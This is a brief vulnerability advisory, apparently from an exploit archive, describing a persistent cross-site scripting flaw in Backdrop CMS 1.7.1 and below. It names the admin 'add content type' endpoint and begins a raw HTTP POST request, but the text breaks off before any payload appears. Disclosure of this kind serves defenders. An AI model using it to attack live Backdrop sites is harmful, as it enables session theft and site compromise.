Backdrop CMS 1.7.1 Cross Site Scripting Vulnerability

Backdrop CMS versions 1.7.1 and below suffer from a persistent cross site scripting vulnerability. I. VULNERABILITY ------------------------- Backdrop CMS Content types - Add content type And post: POST /backdrop/admin/structure/types/add HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 Windows N...